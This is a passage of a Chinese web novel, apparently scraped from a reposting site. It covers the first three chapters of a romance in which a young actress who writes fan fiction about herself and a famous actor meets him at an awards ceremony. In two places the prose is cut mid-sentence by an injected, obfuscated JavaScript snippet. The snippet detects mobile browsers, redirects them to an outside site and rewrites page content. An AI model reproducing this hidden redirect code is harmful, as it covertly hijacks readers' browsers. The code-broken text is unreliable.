《我磕的cp成真了[娱乐圈]》 1. 第1章 卡文了 下午三点，落地窗的窗帘紧紧地拉着，只露出一条缝。缝里头淌出一些日光，刚够照亮房间的。 房间很大，但因为乱糟糟的，显得有些许拥挤。 涂韵微油的头发被白色发带全部捋在了脑后，她穿着件格子睡衣，一脸呆滞地坐在书桌边盯着电脑屏幕。 书桌靠着的墙上贴满了海报，都是同一个男性——莫殊，娱乐圈知名男艺人，前段时间刚拿了影帝。 涂韵是莫殊的女友粉，从他刚出道时的第一部电影海报、杂志封面，再到最新的电影路透图，她都有。每一张都用无痕胶带仔细地固定在墙上，边角还因反复抚摸而微微卷起。墙壁最中央是巨幅灯牌，上面用应援色LED灯拼出“莫殊”两个字，粉紫色的淡光温温柔柔的，像给整个房间都打上了层柔光。 这灯牌是涂韵花了大价钱定做的，她曾想过拿着这幅灯牌去参加莫殊的电影首映礼的，结果被苏小桃狠狠骂了一通。 涂韵是绿江江网文站的一名小作家，只是她写的小说观看人数寥寥无几，甚至都没办法在绿江江上签约，因为她写的是真人同人cp文，写的还是涂韵自己和娱乐圈大明星莫殊的同人cp文。 是的，涂韵的另一个身份是娱乐圈的小明星，小卡拉米的那种小。 她在网站上写小说纯纯就是为爱发电，但是涂韵基本上都挤出时间，每天努力更新一点。 只是现在她的手指悬在键盘上，怎么也敲不出一个字。刚打完几行字，又开始按“delete”键，就这样循环了两个小时，文档上还是一片空白。 涂韵盯着文档里那句【他转身看向她，眼里藏着未说出口的话】，焦躁地抓了抓头发。她竟然卡文了！ ”啊——烦死了，莫殊到底要怎么表白啊！到底要让他说些什么啊！“，涂韵对着空气嘟囔着，烦躁地抓起桌上的草稿纸。草稿纸上画了几个乱糟糟的箭头：如果让莫殊直接说喜欢的话，是不是又太ooc了，毕竟莫殊根本不是那种会勇敢说爱的性格。可好不容易感情都推进到这里了，表白又显得格外顺理成章。 她明明知道书中的角色该往哪里走，可那些堵在喉咙口的情节，就是怎么也落不到屏幕上。小说的女主和她有着一样的名字，差不多的性格，可是莫殊呢？她对他的了解只存在于各种采访，路透，小道消息里。 涂韵无奈地扶了扶脸上的黑框眼镜，身子往后一仰，抬头看向墙壁上贴着的海报，幻想着自己和莫殊谈恋爱的情节。好不容易来了点灵感，门外就响起来了按密码的机械提示音。 她应声转过头去，便看见闺蜜兼经纪人——苏小桃拎着个大包走了进来。 苏小桃小心翼翼地绕过门边放着的一人高的莫殊人形立牌，顺便还将地毯上印着莫殊大头照的应援T恤捡起来扔在了沙发上。 苏小桃看见涂韵还坐在书桌前码字，差点就要爆发出尖叫声，“涂小韵！你知不知道今天下午七点你还有红毯啊！你怎么还是这个鬼样子，快起来去酒店化妆啦！” 涂韵站起身，往身后的床上一倒，有气无力道：“苏小桃！你知不知道我卡文啦！我已经三天没更新啦，再不更要被读者骂死啦。” 苏小桃戳着涂韵的额头，没好气地说：“别光惦记着你那小说啦，还是好好做你的女明星吧。你那小说又没什么人看，写来干嘛呀。你和莫殊的cp粉，全网三百个都不知道有没有。快起来啦，还要化妆换衣服吃饭。” “你都被提名啦，万一今天咱运气好能拿个什么新人奖呢？化妆师造型师什么的都等着呢，今天可得打扮的美美的。” 涂韵是苏小桃带的第一个艺人，也是唯一一个。虽说涂韵不是科班出身，可是演技却格外自然，灵气满满。 涂韵的气质不是那种妖艳型，但看着很舒服。她是线条柔和的鹅蛋脸，头小脸小，下颌线清晰精致。一双明亮的杏眼眼尾微垂，笑时弯成月牙，卧蚕灵动。 涂韵清新甜美中又带着邻家女孩的亲切感，再加上性格好演技也不拉胯，所以路人缘和粉丝缘都爆棚，被粉丝戏称为“被上天追着喂饭的女明星”。 涂韵入圈拍的第一部剧只是一个低成本的校园小网剧。没有华丽的服化道加持，也没有什么大咖参演，但涂韵就穿着最普通的校服，只靠一个眼神就把少女的懵懂、受挫的倔强和成长的坚定演得层次分明。 剧播完的时候，涂韵已经从“查无此人”变成了热搜常客。#小破剧也能上桌了#的话题悄悄爬上热搜尾巴，收视率直接破万。根本不看好这部剧的投资方自己都没想到能赚到盆满钵满。 之后涂韵接了一部现代职场剧，演一个刚毕业的职场小菜鸟一路成长的故事，收视率也很可观，这不，直接就提名了最佳新人奖。 涂韵听到苏小桃的话，一个鲤鱼打挺，就从床上坐起身来。她拿着手机，点开自己的小说界面，辩驳道：“哪有！我们的cp粉肯定超过三百个了！还是有粉丝看的好不好！” “你看你看！半个小时前，还有粉丝在我小说底下催更呢。” 一个枕头拍了过来，苏小桃喊道：“你以为我看不见你这小说只有73个收藏啊！快点准备去颁奖礼，万一堵车就麻烦了。” 见涂韵还是丧着个脸，躺在床上没有动静，苏小桃干脆直接放出了重磅消息，“对了，忘记告诉你了，颁奖人改成莫殊了哦。” “什么！真的吗？那你不早点告诉我！”涂韵听见莫殊要来这几个字，整个人几乎是弹起来的。 要知道虽然进圈也一年多了，但涂韵也还是个小卡拉米，根本没什么机会能见到莫殊，这可能是她第一次近距离能看见他了。 涂韵急忙冲到厕所洗了把脸，让自己能恢复到出去见人的状态。 把头上的发带一取，准备梳头发时，才发现发尾翘得像杂草，涂韵急得拿水沾湿发尾梳了好几遍，然后刷刷刷地开始换衣服。 苏小桃靠在厕所门边上，瞅着在里面瞎捣鼓的涂韵，打趣道：“你就这么喜欢莫殊吗？要不我努努力，给你拉个资源，让你俩搭个戏得了。” 涂韵边对着镜子抹唇膏，边说道：“那可不行，这还没拿新人奖呢，就跑去和影帝一起演戏了，这不是硬拉着莫殊让他给自己抬咖吗？别说莫殊不一定能愿意，我作为莫殊粉丝，我都不愿意啊。” “你是不是以为我能耐这么大，能直接让你去演大制作女主啊？我说的搭戏，是让你去他戏里，演个小配角。” 涂韵哼了一声，戴上墨镜口罩。不出二十分钟，涂韵就从宅女变成了坐在保姆车上的女明星。 苏小桃瞧了眼坐在旁边刷刷刷地打字还在回复读者评论的涂韵，“你可得小心点啊，别在化妆间里打开你的小说app，要不然咱们两个都要完蛋了。” “知道啦，操心的苏大经纪人，我哪有那么蠢啊”，涂韵嘴里应着，可眼睛还盯着手机，她发现三分钟前刚有人在小说底下催更：【今天还更吗？想看这两个人谈恋爱。[鲜花]】 涂韵盯着那条消息，指尖在屏幕上悬了半天，最后心虚地回了个“今晚有事，明天肯定更”。 放下手机，涂韵深吸一口气试图平复呼吸，可心脏还是砰砰直跳。 她转头看向窗外，下午四点钟的太阳带着橙黄色的余辉洒在她搁在膝盖上，紧张绞着的双手。 今晚有事，天大的事。 万一…… 这次她的运气好点再好点，就能站在他看得见她的地方了…… ** 化妆间的镜子被顶灯照得亮如白昼，莫殊半靠在化妆椅上，任由着化妆师用卷发棒帮他打理着发梢的弧度，视线却一直没有离开手机屏幕。 手机上是工作室发来的流程单，本来这次颁奖礼不应该是莫殊来做颁奖人的，但原定的那位刚巧家里父母突发疾病，临时找人也很难找到。莫殊听说后，便主动提出可以做颁奖人。 负责人激动地拉着莫殊的手连忙感谢，要知道莫殊刚拿了影帝没多久，正是身价水涨船高的时候，没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490333|185826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到竟然主动提出来，可算是解了个燃眉之急。 莫殊点开发来的流程单，指尖轻轻地划过“红毯19:00”，“颁奖19:45”的字样，颁奖一侧的备注栏里还贴心地标注着各个奖项颁发的顺序。 他看见【最佳新人奖提名在第三个颁发】的字样时，手指顿了顿，然后迅速地划了上去。 化妆师举起喷雾，说道：“莫老师，闭上眼睛。最后再喷点发胶就搞定啦。” 莫殊”嗯“了一声，闭上眼睛，将手机倒扣在膝盖上。 化妆师围着莫殊喷发胶的时候，手机又轻轻震了一下。这震动频率不太像是工作消息。 他等到化妆师喷完之后，去一边收拾东西的时候，他便坐到沙发上背对着墙，才拿起手机，点开那个熟悉的小说app。 莫殊只关注了一个作者，作者头像旁边的小红点亮了起来，代表有新动态。 他点开小说界面，发现小说最新章节还是三天前的那章，原来是作者一直在回复读者的评论。这本小说追的人不是很多，但评论却很多，因为冷圈产粮的人太少了，书迷们要是不热情点的话生怕作者大大跑路。 作者“殊途同归”回复的最后一条评论是【今晚有事，明天肯定更】。 莫殊抿了抿唇，他好像记得……昨天作者就是这样说的。 这本叫做《莫负清风与韵光》的同人高中校园文剧情已经走到了关键节点，男女主的感情基本上已经明确，就等着男主捅破那层窗户纸了。书中描写的涂韵是小太阳类型，倒和莫殊记忆中的涂韵性格很相似，估计作者是涂韵的粉丝，所以才能写的这么好。 里面的莫殊则描写成了一个沉默寡言的艺术生，走文艺路线的。 莫殊觉得沉默寡言还挺符合他的，只是艺术生什么的，和他沾不上边。 莫殊倒也很好奇，这个作者到底会怎样给书里的莫殊写一段表白语。 他原本计划着这几天看完小说的更新，在心里先预演一下，免得今晚真见到了涂韵，心里紧张，可没想到又等来了“今日停更”的通知。 门外响起走动的声音，可能是其他艺人团队在外面走动。莫殊手指一划，退出了小说app，然后靠在沙发上闭目养神。 “莫哥，再过一小时就要走红毯了。你饿不饿？” 莫殊摇了摇头，边说了句不饿，边抬头看向门外。原来是助理陈霖推门走了进来，手里拿着熨烫好的西装外套，还提着一袋糕点样式的东西，绿色的包装袋上还有着烫金花纹，十分精致。 陈霖将糕点放在小茶几上，说道：“莫哥，你要是饿就吃点糕点。给你说一声，是那个叫涂韵的女生送的。” 莫殊顿在茶几上的手指轻轻敲了敲，状似不经意地问道：“哦？就那个提名最佳新人的女明星？她是只送了我们这吗？” 陈霖：“应该都送了吧，我刚进来的时候，看见她每一间化妆间都敲门进去了。刚巧我们这是最靠里的一间，我看她一直在门口犹豫着呢，我就说我直接拿进来好了。”“不过这也正常，新人嘛，要见前辈总是会紧张点的。” “嗯。”莫殊应了声，抿了抿唇。 陈霖一屁股坐在莫殊身边，嘴里还在絮絮叨叨着：“我对这小姑娘印象还挺好的，大大方方的又懂礼数。虽说不一定多贵重的礼，但今天这么多人，每一个人都准备了……” 这时化妆师刚巧收拾好过来了，见到桌上的点心，惊讶地打断道：“哇，这云糯居的点心？很难抢的哦。” 云糯居算是来沪川旅行时必带的伴手礼了，主打的是传统酥点，每天的酥点都是现做的。要是去买，得排个好几个小时。有时候好不容易排到了，却发现已经售空了。 莫殊看的那本小说里有提及过这个牌子，他本来想着哪天找个机会买点试试，但每次来沪川都是赶行程，一直抽不出时间。也不知道涂韵哪来的时间去买的。 莫殊心念一动，掀开糕点盒子，“是吗？那我尝一块。” 2. 第2章 颁奖礼 涂韵拎着裙摆慢吞吞地走回自己的化妆间，指尖有些凉意。 她才发现刚刚因为攥着包装盒太紧，手心都有些出汗了。 刚刚站在莫殊化妆间门口的时候，她脑子里一片空白，就连敲门要用什么力度什么节奏都想了一遍。 只是攒了一肚子期待，准备好要见到莫殊了，就等来了莫殊的助理回来了。 他助理过于好心要帮她拿进去，她也不好拒绝，只能咬牙说了句“好”。 涂韵心里头有些空落落的，但也不能表现出来，见到迎面走来的艺人或老师们，还得停下来笑着问好。 她的化妆间是属于靠外的，好不容易一路回到了化妆间，苏小桃还凑过来问：“送了吗送了吗？见到咱们莫老师了吗？” 涂韵啪叽一声倒在沙发上，她点了点头又摇摇头，语气里藏不住地失望：“送了，但没见到，给他助理了。” 苏小桃叹了口气，说道：“你说你，听见莫老师来了，还特意打电话给你爸，让他送云糯居的点心过来。现在这不白送了吗？” 涂韵这就纯纯是网上写的那种什么，毕业时为了拥抱一个人，结果把整个班都拥抱了的那种傻子。 涂韵不服气地反驳道：“哪有白送啦，不是送了吗？他还是能吃到的呀。” 化妆师张姐拿着粉刷走了过来，边帮涂韵轻拍脸颊，边问道：“你们刚刚说的莫老师是莫殊？阿韵，你是莫殊粉丝啊？”“你之前没见过莫殊吗？” 涂韵点点头，失落地答道：“对，但现在还没有什么机会和莫老师合作。” 张姐笑道：“我之前和莫老师合作过一个杂志封面，莫老师虽然不爱说话，看着冷冰冰的，但其实对工作人员什么的都挺好的。你要是他粉丝，等颁奖礼结束后，和他说说，肯定能加上微信的。” 张姐扑好定妆粉后，瞧了下镜子，哎哟了一声，“阿韵，你这脸怎么这么红？” 镜子里映出涂韵已经完成的妆容，眼尾扫上的碎钻亮片，晃着细碎的光，像把星星都揉碎了粘在脸上，衬得那双水灵灵的大眼睛更加的亮。只是哪怕打上了粉底，也能看出脸上透了层粉。 “你是紧张吗？”张姐给涂韵补涂着口红，语气里带着笑意问道。 涂韵：“有……一点，也有可能是刚从外面回来热的。” 苏小桃笑了笑，但没有揭穿她。涂韵啊，这绝对是听见要和莫殊加微信什么的，给害羞的！ “好啦好啦，马上要到我们出场啦。等我拍一下咱们的红毯出发照！”苏小桃瞧了下时间，还有半个小时左右，连忙喊了早就准备好的摄影师进来，指导涂韵摆好姿势，拍了几张照片。 还不忘去走廊上，拍了几张准备红毯出发的背影。 通常情况下，像涂韵这种相对而言咖位较低的新人会被安排在走红毯的前段，但因为这次她提名了最佳新人，也算是奖项的热门人选，所以被调到了红毯中段。 这次是猕猴桃平台举办的“心动之夜”，相较于一些专业的奖项，这次的奖项更聚焦于“市场热度”和“用户偏好”，也更贴近粉丝群体。红毯的入口都被各家艺人粉丝布置的花墙摆满了，艺人们的高清硬照被放大，印在上面。 警戒线外则早已被层层叠叠的粉丝阵营填满，大家都举着密密麻麻的应援牌和灯牌，那精心制作的LED灯牌亮得耀眼，无声地宣告着对偶像们的支持。 涂韵坐车路过时，感觉好像回到了自己追莫殊的时候。 莫殊之前有一场在国外的颁奖礼，她当时也去了，也是和现在这样，挤在人群之中，踮起脚奋力地举着自己精心准备好的印着莫殊头像的手幅。 当时莫殊也还没有很红，这是他的第一场颁奖礼。 那时候是夏天，人特别多又热，涂韵被挤得满头大汗，但她也不觉得累，喝一杯咖啡就能撑一天线下。 追星就是很纯粹，她只是单纯地想让他知道，有人一直在支持着他。 因为经历过，所以涂韵知道粉丝们做这些应援有多辛苦， 涂韵她偷偷地举起手机，对准花墙照片，“咔嚓”一声。 涂韵低头看手机里的照片，才发现自家花墙的旁边刚好是莫殊的花墙。 她拍的这张照片还刚好把莫殊的照片也拍了进去。照片的边缘，是莫殊放大了的笑容，不错不错，涂韵美滋滋地想着。 当涂韵的身影出现在入口处时，原本喧闹的现场忽然有了半秒的凝滞。 短暂的沉默之后，小韵光们立刻化作最热烈的浪潮，纷纷举起手中的横幅，喊着涂韵的名字。 第一次走红毯，参加颁奖礼，造型师没有给涂韵选比较时尚或者难驾驭的造型，而是为了保险选择了最不会出错的公主蓬蓬裙，但也格外贴合涂韵的气质。 涂韵身上的香槟色礼服是抹胸的设计，心机地连锁骨都抹上了一层闪粉，亮晶晶的。裙摆布满了密钻，随着她的走动，带起细碎的光芒。 涂韵踩着十厘米的高跟鞋，步伐稳稳地走在红毯上，她微笑着举起手和周围的粉丝，摄像师们打招呼。虽说是第一次走红毯，可涂韵也不怯场，落落大方又有自信。 晚风吹起她耳后的碎发，露出纤细的脖颈，似乎就连风都格外地眷顾美人。周围响起彼伏的快门声，“咔嚓、咔嚓”的声响密集如骤雨。前排负责红毯直播的摄像大哥猛地往前探身，让摄像机稳稳地锁住涂韵的身影。 红毯尽头的主持人在看到涂韵走近时愣了半秒，然后才想起早就准备好的台词，涂韵也是笑着一一应答，然后站在签名墙上签下了自己的名字。而在她走红毯及签名的时候，尖叫欢呼声一直也没停过。 主持人心想，从现场人气看起来，这次的最佳新人是非涂韵莫属了。 ** 红毯的最后一位是莫殊，当他走进内场时，“心动之夜”颁奖礼的序幕便在开场音乐中缓缓拉开。 涂韵已经坐好，她看向迎着灯光缓缓走进来的莫殊，感觉心跳都漏了一拍。 莫殊穿着一套黑色的丝绒西装，剪裁高级，将身形比例都勾勒得十分清楚。灯光在他高挺的鼻梁上投下一小片阴影，显得侧脸线条分明。他每走一步，丝绒面料便闪烁出淡淡的光泽，配上黑色的缎面领结，二十多岁的年纪却显得成熟又不失温润。 莫殊走到第一排他的位子上，便微笑着与邻座相熟的艺人低声交谈着。 而涂韵坐在后面几排的位子上，盯着莫殊的背影，手指无意识地摩挲着座椅扶手。妈耶……好帅！果然，帅哥的后脑勺都是帅的！ 舞台中央的巨型屏幕循环播放着年度经典的影视片段，主持人已经登上舞台，进行开场。涂韵连忙反应过来，低下头深呼吸了一口气，调整好自己的表情。 要知道除了嘉宾区，还有媒体区和粉丝区呢。估计舞台和嘉宾席的每个角落都被摄像头给对准了，生怕错过在场的艺人们任何一个细微的表情。 简单的开场和表演过后，马上就到了颁奖环节。屏幕上出现了提名名单，涂韵看见了自己的名字，眼底闪过一丝紧张，但又带着些不易察觉的期待。 拜托拜托，老天爷啊，让她拿个奖吧。 因为“心动之夜”设置了电影、电视剧、综艺3个单元，奖项也挺多的，共24个。莫殊负责做前5个奖项的颁奖嘉宾。 前两个奖项很快就被揭晓，大屏幕上也同步播放着获奖者的作品混剪。 快到“最佳新人奖”了，涂韵有些紧张地十指交扣，感觉手心都沁出了细汗。 她在心里想着，果然是越到自己越紧张，之前都还没啥感觉呢。 聚光灯照耀在舞台正中央，莫殊低下头看了眼手中的手卡，嘴角噙着恰到好处的笑意。 “最佳新人奖得主是——” 全场 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在涂韵的想象中，她一定会表现得落落大方，绝不会激动到语无伦次。可是真站在了这个地方，才发现根本没有这么简单。 喜欢了好几年的人，就在离你一米不到的距离看着你，近到似乎都能听到他的呼吸，台子底下还有数百双眼睛和无数的摄像头。涂韵在心里庆幸着，幸好今天穿的是拖地裙，要不就会被拍到自己腿在发抖了。 而涂韵不知道的是，其实莫殊心里也很紧张。 莫殊已经好几年没见过涂韵了，她在他心里的模样还是高中时扎着马尾的模样。 他知道涂韵也进入娱乐圈后，还特意看了她拍的那部网剧，网剧里涂韵穿校服的模样和她高中时没什么区别。 可眨眼间，她就变成了穿着华丽礼服的女明星了，站在自己的眼前画着精致的妆容。明明那么近，但好像还是那么遥不可及。 想到这，莫殊觉得喉咙有些发酸。他忙低下头看向手卡，将手卡上写着的介绍词一一念出。 “恭喜你，涂韵。”莫殊看向涂韵，目光落在她身上带着不易察觉的温柔，轻声说道，“这只是一个开始。坚持下去，这个奖不是因为你将来会多么耀眼，而是因为……现在的你足够地好” 莫殊悄悄地握紧了手中的水晶奖杯，递了过去。 “谢谢，莫……老师。”涂韵连忙接过，把心里的那句莫殊换成了更自然更有礼貌的称呼。 接奖杯的时候不小心地碰到了莫殊的指尖，顿时仿佛有细密的电流顺着手指爬上脊椎让她整个人发麻。心跳骤然加速，像要蹦出来一样撞击着胸膛。 人家心动是小鹿乱撞，怎么轮到她，感觉心里的小鹿都激动得要被撞死了。 涂韵张了张嘴，连忙补充道：“莫老师，我看过你的所有作品，你……你是我的榜样。” “哦？”莫殊心念一动，连呼吸都慢了半拍。 莫殊顿时脸就红了，他喉结滚动了一下，好不容易见到涂韵了，他想再说些什么，可脑子里一团乱麻。他本就是个不怎么会说话的人，最后干巴巴地说了句“我……也看过你的所有作品。” 舞台下面顿时传来笑声，有的还起哄地鼓起掌来。 他们估计都以为是莫殊在开玩笑，在回应涂韵刚刚说的话。 毕竟一个前辈怎么有时间或者契机去看一个刚出道一年的新人的作品啊。 莫殊说完，也觉得有些失言，虽然确实是事实。可涂韵……不会以为自己在嘲笑她吧？ 莫殊往旁边走了半步，尽量让自己的语气显得平静一些，“涂韵，接下来的时间就交给你了。” 这只是一个小小的插曲，除了当事人以外没有人会在意。 聚光灯将两人的身影重叠在大屏幕上，涂韵深呼吸了一口气，将自己准备好的获奖感言说了出来。 3. 第3章 CP粉 后面颁布其他奖项的时候，涂韵觉得自己都还有些恍惚，明面上全程微笑，跟着全场一起站立鼓掌，实际上心里的那头小鹿还活蹦乱跳。 主持人宣布颁奖礼结束时，音乐再次响起，到了全场大合照环节。 莫殊站在第一排，而涂韵虽然拿到了奖，但也是站在边缘，她没注意到莫殊的目光停留在她身上好几次。 大合照完后，有人匆匆离场，而也有人互相道别、合影留念。 涂韵演的那部职场剧拿了个【年度观众喜爱剧集】，再加上涂韵的最佳新人，也算是收获满满了。剧组和参演的演员们都兴奋地拿着奖杯拥抱，拍合照，涂韵见大家笑得那么开心，也被感染了，和大家咔嚓咔嚓地拍着照片。 离场坐到保姆车上，涂韵才想起来之前张姐说的那事。 “哎呀，莫殊呢？”涂韵问苏小桃。 颁奖礼一结束，艺人的团队和工作人员们就从后台出来了，和自家艺人们一起合照什么的。 苏小桃知道涂韵绝对会提她的莫老师，所以特地帮她留意着，“颁奖礼结束后，莫老师站了一会，就直接走了。” 涂韵一拍脑袋，“完了，忘记加他微信了。刚结束的时候还想着的，没想到合着合着照就给忘了。” 苏小桃：“涂小韵，你想跟他拍戏，姐不一定能给你办到，但你想加个微信还不简单啊。你要真想加的话，我找人推给你。” 涂韵刚想说好呀，又低下头，叹了口气，“还是算了吧，估计他都不知道我是谁。” 苏小桃打趣道：“怎么可能呀？莫老师不是说看过你的所有作品吗？” 涂韵笑着去挠苏小桃，刚起身就被系着的安全带一下打回到座椅靠背上，“你还真相信呀，我自己都不相信了。可能是我说我看过他的作品，他不知道该回什么才这样说的。”“哎，要是刚刚颁奖礼一结束的时候，我去加他还好点，现在都散场了，还要托人推来推去，总感觉怪怪的。” 涂韵揉了揉刚刚被勒着的肩膀，转头看向苏小桃，眼睛里闪着亮晶晶的光，“不过你知道吗！小桃！刚刚他站在我面前的时候，我突然感觉到了心跳，不是那种平常时候的心跳，而是那种扑通扑通要跳出嗓子眼的那种心跳。” “我看着他，我明明有很多想说的话，但那一刻我的脑子里就一片空白。我感觉好像周围的所有人都不存在了，整个世界只剩下我和他。世界的BMG就是我们两个的心跳声。” 如果说之前看莫殊的作品的时候，涂韵是被他的外貌，演技，还有那双会说话的眼睛所打动的话，那当处于现实中，真正地被莫殊温柔的目光所注视过，涂韵才真真切切地感受到了什么叫做喜欢。 “不和你说了，你也不会懂的。我得把我的感觉给记下来，好写在小说里。”没等到苏小桃回答，涂韵就马上从兜里掏出手机，回忆着那时的感受，手指快速地在备忘录上点击着。 苏小桃悄悄地朝着涂韵比了个大拇指，涂韵这刚作为艺人拿到了奖，现在又马上想着更新小说，这简直是劳模啊。这多栖发展，这跨界工作，真是惊天地泣鬼神。 回到家已经12点了，但涂韵还记得正事，毕竟这是她的主业。 涂韵打开手机相册，在里面选了又选，然后打开微博开始编辑九宫格。 九张照片里有奖杯的照片，有颁奖礼现场，有和剧组的合照，有做好妆造后拍的红毯出发照，还有必不可少的自拍美照。 最后一张照片，涂韵犹豫了很久，最后选的是一张她当时路过时拍的粉丝花墙的照片，但是她把图片稍微裁剪了一下，把角落里莫殊的脸裁掉了。 都是追过星的人，这点道理她还是懂的，她不想因为一张照片给两个人的粉圈都带来不必要的麻烦。 微博点了“发送”之后，涂韵就把手机一扔，打开电脑，开始码字准备今天的更新。 之前卡文了三天，没想到和莫殊今天一见面，她就灵感迸发了！ 原来……心动的感觉是全身发麻，说不出话。 还有莫殊对她说的那句，“因为现在的你足够地好。” 尽管这句话很普通，就是一句心好的前辈鼓励后辈的话，但是涂韵心想：说这句话的时候，莫殊根本就没有看手卡，而且这句话的风格也和颁奖礼上的介绍词不太一样。所以这肯定不是手卡上的话，一定是莫殊有感而发，对她想说的话。 这句话可是出自莫殊本人之口，涂韵想了一下接下来的剧情发展，决定巧妙地把这句话也融入进去。 明明踩着高跟鞋在外面走了七八个小时，但涂韵就是莫名地觉得不困，反而觉得脑子格外地清醒。她在键盘上敲敲打打，当整篇文档被铅字填满时，涂韵才发现自己竟然不知不觉已经写了5000字了。 电脑右下角的时间变成了凌晨3点。 涂韵打了个哈欠，揉了揉眼睛，才发现她一回来连妆都还没有卸，就开始更新了。 “不行了不行了，再熬夜要猝死了。”涂韵一个复制粘贴，就将文档里的字粘贴到小说网站界面，按了发表之后，便冲到洗漱间里卸妆洗漱，然后累的直接倒在床上呼呼大睡。 等涂韵一觉醒来的时候才竟然已经十一点了。 她睡眼朦胧地从枕头底下摸出手机，发现多了一条新的微信消息。点开一看，发现竟然是好友认证。 一个纯黑色的头像，微信名叫"M“的申请添加她为好友，备注是……【我是莫殊】。 哦，他说他是莫殊啊。 不对！莫殊！ 天啊，涂韵还宕机的脑袋瞬间清醒，”什……什么？莫殊竟然要加我微信？“ 难道莫殊真的很欣赏她？难道颁奖礼上的话是真的？真的看过她的作品？ 天啊天啊，她会不会没有演好啊？会不会让莫殊笑话她啊。 涂韵脑子里闪烁了无数个可能，但手指还是没有任何犹豫地点了接受。 她在一堆表情包里挑挑拣拣，最后选了一个比较可爱的小猫sayhello的表情发了过去：莫老师，您好，我是涂韵，很高兴认识你[玫瑰]。 见那边一直没有回复，涂韵躺在床上抱着手机想着要开启一些新的话题，可是想了好久也不知道该说些什么。 要闲聊吗？比如聊聊今天的天气？刚好最近特别热。 但……莫老师肯定很忙，聊这些废话会不会显得她很烦……？ 要不聊聊昨天的颁奖礼？还是进行一些演技上的探讨？ 但是这才刚加上微信，就聊这些东西是不是显得太那啥了？ 涂韵抱着手机想了一个小时，都没想到该怎么开启话题。天哪，她平时不是很会聊天的吗！她平时可不是这样子的。 见莫殊还是没有回复，涂韵只得叹了口气，翻了个身，点开微博看了一下。 #涂韵获心动之夜最佳新人奖#的词条已经挂在了热搜末尾，下面有着粉丝发的各种涂韵的美貌安利和作品介绍图。 而她昨天发的微博也已经有几万个赞了，下面的粉丝也发现了她发的最后一张图是她们布置的花墙照片，纷纷在下面进行评论。但更多的是在关心她，凌晨了都还没有睡觉。 涂韵的指尖轻轻颤抖，她点开回复框，删删改改好几次。原本想说的“谢谢关心”太轻，说太多话又显得太过于矫情，最后涂韵敲下： “我会努力的，不会让你们失望的[爱心]” 回复完微博后，涂韵的指尖无意识地划开手机里的小说app，一个上午过去，下面的评论也多了不少。 只是平日里，她的小说下面大部分都是催更或者送花的，这次这章下面却多了很多真情实感的评论。 【作者大大这章文笔进步了好多呀，读起来真的有那种心动的感觉！】 【感情戏赛高！】 【天呐，作者大大，你网速好快！你昨天是不是也看了颁奖礼的直播？昨天莫老师真的说了这句话哎。】 涂韵笑着在下面回复：【证明作者大大真的没有说谎。真的卡文了，看完直播才写好的。】 她一条一条地往下滑去，发现了赞很多的评论。 【昨天可是我们殊途同归cp粉具有历史性的一天，这可是莫老师跟涂老师第一次线下见面！】 殊途同归cp粉？涂韵陷在被子里，傻笑了一声。 没想到……她和莫殊真的有cp粉了！这cp名甚至还是她起的！ 涂韵，其实是因为莫殊才回国进入娱乐圈的。 她在国外读书的时候，偶然看见了莫殊的电影，靠着这些电影，度过了那段国外非常难熬的时光。 碰巧在涂韵毕业那年，苏小桃打电话给她。 原来苏小桃进了一个娱乐公司，在但于手底下没有艺人，便想到了她，问她有没有兴趣回国拍戏。 拍戏，涂韵本来是没有什么兴趣的，更何况当时她已经拿到了纽约事务所的实习机会了。 但转念一想，这是不是能认识莫殊？她便头脑一热买了机票回国。 回到沪川的那天，她拖着行李箱站在家门口，爸爸看见她回来了差点以为自己出幻觉了。 爸爸沉默了很久，“阿韵，你确定吗？娱乐圈不是那么好走的。” 涂韵坚定地点了点头。这可能是她，第一次那么确定她要做什么。 拍戏，确实没有她想的那么简单。前三个月她一直在跑来跑去地试戏，看见自己精心准备的简历像是垃圾一样，被随手扔到垃圾桶里。她知道自己不是科班出身，便去看表演理论课的公开课，去花钱请老师上表演课，把自己当做一张白纸，从头学起。 后来，涂韵试上的第一部戏就是女主角，一部校园小网剧的女主角。 她从一点点学起，在片场摔过跤，在池子里泡过水，被导演骂哭过，到后来，她发现自己原来是真的喜欢上了表演。 莫殊，在无意间帮助她找到了真正热爱的东西。 这部校园剧，涂韵拍完就火了。 她在网上搜自己这部剧的剧评的时候，发现竟然有人看脸给她和莫殊拉郎。 只是这个剪辑视频，特别的冷清，底下几乎没有什么人。 唯一的几个评论还在说这个剪辑博主磕了个超邪门的cp。 毕竟这两个人确实完全没有什么交集，一个是已经炙手可热的男艺人， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490335|185826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个是才刚刚出道只拍了一部网剧的小明星。 涂韵这人就是容易头脑一热，怎么啦？没有同台过，就不能有cp啦？ 她和莫殊再邪门，能有伏地魔和林黛玉邪门？ 第一个磕伏黛的，在剪各种cp视频的时候，能想到现在伏黛火到不要不要的吗？ 涂韵决定了，她要自己做产量大大！ 那天，她辗转好几个AI，给自己和莫殊想CP名 最后从几十个CP名字里选了【殊途同归】这个名字，这名字寓意不错。尽管最开始的两个人是在不同的路上，但总有一天……会走到一起。 涂韵虽然不会剪辑，但是她平时喜欢写点东西，她便想着自己写点小说。 当天下午，涂韵便在绿江江网站上注册了一个叫做【殊途同归】的作者名，发表自己的第一篇小说。 